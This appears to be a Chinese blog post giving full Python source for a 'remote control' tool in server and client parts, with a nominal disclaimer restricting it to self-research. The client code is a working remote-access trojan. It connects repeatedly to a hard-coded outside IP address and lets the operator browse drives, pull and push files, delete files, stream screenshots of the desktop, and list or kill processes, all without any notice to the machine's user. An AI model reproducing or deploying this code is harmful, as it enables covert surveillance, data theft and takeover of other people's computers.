cmd远程控制python代码(可传文件,可图形化控制桌面)

下面将会为大家提供远程代码  (注:此代码仅可用于自我研究法行为。严禁用于非法行为

服务端:

import os
import pickle
from socket import *
import cv2
from tabulate import tabulate
from win32api import GetAsyncKeyState
from win32con import VK_ESCAPE


def init_socket():
    server_socket = socket()
    server_socket.bind((gethostname(), 1234))
    server_socket.listen()
    client_socket, _ = server_socket.accept()
    print(f'{_[0]}已经连接~!')
    return server_socket, client_socket

def recv_disk_info(client_socket):
    recv_content = client_socket.recv(1024)
    disk_list = pickle.loads(recv_content)
    for d in disk_list:
        print(f'存在盘符->{d}')
    return disk_list

def input_command(client_socket):
    global allpath, disk_list
    input_str = input(f'{allpath}->')
    list = input_str.split()
    if list[0] == 'cd':
        if len(list) == 1:      # 纯cd指令
            allpath = ''
        else:                   # cd 后面有 东西
            if list[1] == '..':
                if allpath == '':
                    pass
                else:
                    tmpe_list = allpath.split('\\')
                    print(tmpe_list)
                    tmpe_list.remove(tmpe_list[-1])
                    allpath = '\\'.join(tmpe_list)
            else:
                if allpath == '':
                    allpath = list[1]
                else:
                    allpath = allpath + '\\' + list[1]
                temp_str = 'cd' + ' ' + allpath
                client_socket.send(temp_str.encode())
    elif list[0] == 'dir':
        if allpath == '':
            for d in disk_list:
                print(f'存在盘符->{d}')
        else:
            temp_str = 'dir' + ' ' + allpath
            client_socket.send(temp_str.encode())
            # 接收文件内容
            recv_content = client_socket.recv(2048)
            dir_list = pickle.loads(recv_content)
            for f in dir_list:
                if f[1] == False:
                    f[1] = '文件夹'
                    f.remove(f[2])
                else:
                    f[1] = '文件'
                    f[2] = f'{int(f[2]/1024)}Kb'
            print(tabulate(dir_list, tablefmt="pretty"))
    elif list[0] == 'get':
        temp_str = 'get' + ' ' + allpath+'\\' + list[1]
        client_socket.send(temp_str.encode())
        file_total_size = int(client_socket.recv(1024))
        received_size = 0
        print(f'正在接收{file_total_size}字节的数据~!')
        client_socket.send('received'.encode())
        with open(list[1], 'wb') as file:
            while received_size < file_total_size:
                data = client_socket.recv(1024)
                file.write(data)
                received_size += len(data)
            print('已接收', received_size, 'Byte')
        client_socket.send('received'.encode())
    elif list[0] == 'del':
        temp_str = 'del' + ' ' + allpath+'\\' + list[1]
        client_socket.send(temp_str.encode())
        client_socket.recv(1024)
    elif list[0] == 'put':
        temp_str = 'put' + ' ' + allpath + '\\' + list[1]
        client_socket.send(temp_str.encode())
        client_socket.recv(1024).decode()
        with open(list[1], 'rb') as file:
            filesize = os.path.getsize(list[1])
            print(f'正在发送{filesize}Byte数据...')
            client_socket.send(str(filesize).encode())
            client_socket.recv(1024)
            for line in file:
                client_socket.send(line)
        client_socket.recv(1024)
        print('发送成功~!')
    elif list[0] == 'look':
        client_socket.send(list[0].encode())
        while True:
            size = int(client_socket.recv(2048).decode())
            client_socket.send('ok'.encode('utf-8'))
            size1 = 0
            with open('1.png', 'wb') as file:
                while size1 < size:
                    data = client_socket.recv(2048)
                    file.write(data)
                    size1 += len(data)

            # 创建窗口并显示图像
            cv2.namedWindow('Image')
            image = cv2.imread('1.png')
            cv2.imshow('Image', image)
            cv2.waitKey(20)
            if GetAsyncKeyState(VK_ESCAPE):
                client_socket.send('0全国征信网点爬取'.encode())
                cv2.destroyWindow("Image")
                break
            else:
                client_socket.send('1'.encode())
    elif list[0] == 'exit':
        client_socket.send(list[0].encode())
        return client_socket.recv(1024).decode()
    elif list[0] == 'pid':
        client_socket.send(list[0].encode())
        process_info_list = pickle.loads(client_socket.recv(2048*10))
        sorted_list = sorted(process_info_list, key=lambda x: x[1].lower())
        print(tabulate(sorted_list, tablefmt="pretty"))
    elif list[0] == 'kill':
        temp_str = 'kill' + ' ' + list[1]
        client_socket.send(temp_str.encode())
        print(client_socket.recv(1024).decode())

if __name__ == '__main__':
    while True:
        allpath = ''
        disk_list = []
        print('正在等待连接中...')
        server_socket, client_socket = init_socket()
        disk_list = recv_disk_info(client_socket)
        while True:
            if input_command(client_socket) == 'exited':
                server_socket.close()
                client_socket.close()
                break

客户端:

import os
import pickle
import signal
import sys
from socket import *
from string import ascii_uppercase
import psutil
from PIL import ImageGrab

def init_socket():
    client_socket = socket()
    while True:
        try:
            client_socket.connect(('115.159.196.45', 1234))
            #client_socket.connect((gethostname(), 9527))
            return client_socket
        except:
            continue

def send_disk_info(client_socket):
    disk_list = []
    for c in ascii_uppercase:
        disk = c + ':'
        if os.path.isdir(disk):
            disk_list.append(disk)
    client_socket.send(pickle.dumps(disk_list))

if __name__ == '__main__':
    client_socket = init_socket()
    send_disk_info(client_socket)
    while True:
        # 接收指令
        recv_content = client_socket.recv(1024).decode()
        list = recv_content.split(' ')
        #print(list)
        # 根据指令处理
        if list[0] == 'dir':
            dir_list = []
            for file in os.listdir(list[1]):
                file_path = os.path.join(list[1], file)
                isfile = os.path.isfile(file_path)
                size = 0
                if isfile:
                    size = os.path.getsize(file_path)
                dir_list.append([file, isfile, size])
            #print(dir_list)
            client_socket.send(pickle.dumps(dir_list))
        elif list[0] == 'get':
            filesize = os.path.getsize(list[1])
            client_socket.send(str(filesize).encode('utf-8'))
            client_socket.recv(1024)
            with open(list[1], 'rb') as file:
                for line in file:
                    client_socket.send(line)
            client_socket.recv(1024)
        elif list[0] == 'del':
            os.remove(list[1])
            client_socket.send('removed'.encode())
        elif list[0] == 'put':
            client_socket.send('received'.encode())
            file_total_size = int(client_socket.recv(1024).decode())
            #print(file_total_size)
            received_size = 0
            #print(f'准备接收{file_total_size}字节的数据~!')
            client_socket.send('received'.encode())
            with open(list[1], 'wb') as file:
                while received_size < file_total_size:
                    data = client_socket.recv(1024)
                    file.write(data)
                    received_size += len(data)
                #print('已接收', received_size, 'Byte')
            client_socket.send('received'.encode())
        elif list[0] == 'look':
            while True:
                # 截取桌面图像并保存
                image = ImageGrab.grab()
                image = image.resize((960, 540))
                image.save('C:\\Users\\Public\\screenshot.png')

                # 计算文件大小
                filesize = os.path.getsize('C:\\Users\\Public\\screenshot.png')
                client_socket.send(str(filesize).encode())
                client_socket.recv(2048).decode()

                # 发送文件数据
                with open('C:\\Users\\Public\\screenshot.png', 'rb') as file:
                    for line in file:
                        client_socket.send(line)

                # 接收后台是否接收完文件 继续截图

                if client_socket.recv(2048).decode() == '0全国征信网点爬取':
                    break
        elif list[0] == 'exit':
            client_socket.send('exited'.encode())
            sys.exit(6)
        elif list[0] == 'pid':

            # 获取所有正在运行的进程的信息
            process_info_list = [(process.pid, process.name()) for process in psutil.process_iter()]
            pickle_data = pickle.dumps(process_info_list)
            client_socket.send(pickle_data)
        elif list[0] == 'kill':
            try:
                os.kill(int(list[1]),signal.SIGTERM)
                client_socket.send('kill!'.encode())
            except:
                client_socket.send('no kill!'.encode())
                continue










特别注意:此代码仅可用于自我研究法行为。严禁用于非法行为

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值